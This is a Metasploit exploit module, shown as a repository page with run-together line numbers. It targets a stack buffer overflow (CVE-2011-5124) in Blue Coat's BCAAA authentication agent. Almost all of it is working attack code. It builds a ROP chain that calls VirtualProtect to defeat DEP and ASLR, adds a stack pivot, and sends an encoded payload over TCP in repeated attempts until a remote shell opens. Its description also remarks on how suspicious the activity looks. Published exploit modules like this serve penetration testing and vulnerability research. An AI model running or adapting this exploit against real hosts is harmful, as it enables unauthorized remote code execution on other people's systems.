Path: blob/master/modules/exploits/windows/misc/bcaaa_bof.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => "Blue Coat Authentication and Authorization Agent (BCAAA) 5 Buffer Overflow",15'Description' => %q{16This module exploits a stack buffer overflow in process bcaaa-130.exe (port 16102),17which comes as part of the Blue Coat Authentication proxy. Please note that by default,18this exploit will attempt up to three times in order to successfully gain remote code19execution (in some cases, it takes as many as five times). This can cause your activity20to look even more suspicious. To modify the number of exploit attempts, set the21ATTEMPTS option.22},23'License' => MSF_LICENSE,24'Author' => [25'Paul Harrington', # Initial discovery and PoC26'Travis Warren', # MSF Module with Universal DEP/ASLR bypass27'sinn3r', # More testing / reliability, plus minor changes28],29'References' => [30[ 'CVE', '2011-5124' ],31[ 'OSVDB', '72095'],32[ 'URL', 'https://kb.bluecoat.com/index?page=content&id=SA55' ],33[ 'URL', 'https://seclists.org/bugtraq/2011/Jul/44' ]34],35'Payload' => {36'Space' => 936,37'BadChars' => "\x00",38'StackAdjustment' => -3500,39},40'Platform' => 'win',41'Targets' => [42[ 'BCAAA Version 5.4.6.1.54128', {} ],43],44'Privileged' => false,45'DisclosureDate' => '2011-04-04',46'DefaultTarget' => 0,47'Notes' => {48'Reliability' => UNKNOWN_RELIABILITY,49'Stability' => UNKNOWN_STABILITY,50'SideEffects' => UNKNOWN_SIDE_EFFECTS51}52)53)5455register_options(56[57Opt::RPORT(16102),58OptInt.new("ATTEMPTS", [true, "Number of attempts to try to exploit", 3]),59]60)61end6263def junk64return rand_text(4).unpack("L")[0].to_i65end6667def exploit68rop_gadgets = [69# rop chain generated with mona.py700x7c346c0a, # POP EAX # RETN (MSVCR71.dll)710x7c37a140, # Make EAX readable720x7c37591f, # PUSH ESP # ... # POP ECX # POP EBP # RETN (MSVCR71.dll)73junk, # EBP (filler)740x7c346c0a, # POP EAX # RETN (MSVCR71.dll)750x7c37a140, # <- *&VirtualProtect()760x7c3530ea, # MOV EAX,DWORD PTR DS:[EAX] # RETN (MSVCR71.dll)770x7c346c0b, # Slide, so next gadget would write to correct stack location780x7c376069, # MOV [ECX+1C],EAX # P EDI # P ESI # P EBX # RETN (MSVCR71.dll)79junk, # EDI (filler)80junk, # will be patched at runtime (VP), then picked up into ESI81junk, # EBX (filler)820x7c376402, # POP EBP # RETN (msvcr71.dll)830x7c345c30, # ptr to 'push esp # ret ' (from MSVCR71.dll)840x7c346c0a, # POP EAX # RETN (MSVCR71.dll)850xfffffdff, # size 0x00000201 -> ebx, modify if needed860x7c351e05, # NEG EAX # RETN (MSVCR71.dll)870x7c354901, # POP EBX # RETN (MSVCR71.dll)880xffffffff, # pop value into ebx890x7c345255, # INC EBX # FPATAN # RETN (MSVCR71.dll)900x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (MSVCR71.dll)910x7c34d201, # POP ECX # RETN (MSVCR71.dll)920x7c38b001, # RW pointer (lpOldProtect) (-> ecx)930x7c34b8d7, # POP EDI # RETN (MSVCR71.dll)940x7c34b8d8, # ROP NOP (-> edi)950x7c344f87, # POP EDX # RETN (MSVCR71.dll)960xffffffc0, # value to negate, target value : 0x00000040, target: edx970x7c351eb1, # NEG EDX # RETN (MSVCR71.dll)980x7c346c0a, # POP EAX # RETN (MSVCR71.dll)990x90909090, # NOPS (-> eax)1000x7c378c81, # PUSHAD # ADD AL,0EF # RETN (MSVCR71.dll)101].pack("V*")102103pivot = [1040x7C3410C4, # RETN (MSVCR71.dll)1050x1003800C, # PUSH ESP; POP EBX; POP EBP; RETN (SmAgentAPI.dll)1060x4241467D, # EBP1070x7C3C8937, # XCHG EAX,EBP; RETN (MSVCP71.dll)1080x7C3417D2, # SUB EAX,EAX; RETN (MSVCR71.dll)1090x7C3C8937, # XCHG EAX,EBP; RETN (MSVCP71.dll)1100x7C34f6C2, # MOV EAX, EBX; POP EBX; RETN (MSVCR71.dll)111junk, # EBX1120x7C3C8937, # XCHG EAX,EBP; RETN (MSVCP71.dll)1130x5D02D0A0, # SUB EBP,EAX; RETN (MSVCR70.dll)1140x7C3C8937, # XCHG EAX,EBP; RETN (MSVCP71.dll)1150x7C3B5080, # XCHG EAX,ESP; RETN (MSVCP71.dll)116].pack("V*")117118attempts = datastore['ATTEMPTS']119120# Sometimes a few attempts are needed to get a shell back (3 or 5 times)121attempts.times do |i|122# If we have a session on the box already, then we don't continue trying123break if session_created?124125buffer = rand_text(8)126buffer << rop_gadgets127buffer << payload.encoded128buffer << 'EBAB'129buffer << rand_text(8)130buffer << pivot131132connect133print_status("Sending request to #{rhost}. Attempt ##{(i + 1).to_s}...")134sock.put(buffer)135handler136select(nil, nil, nil, 2)137disconnect138end139end140end141142143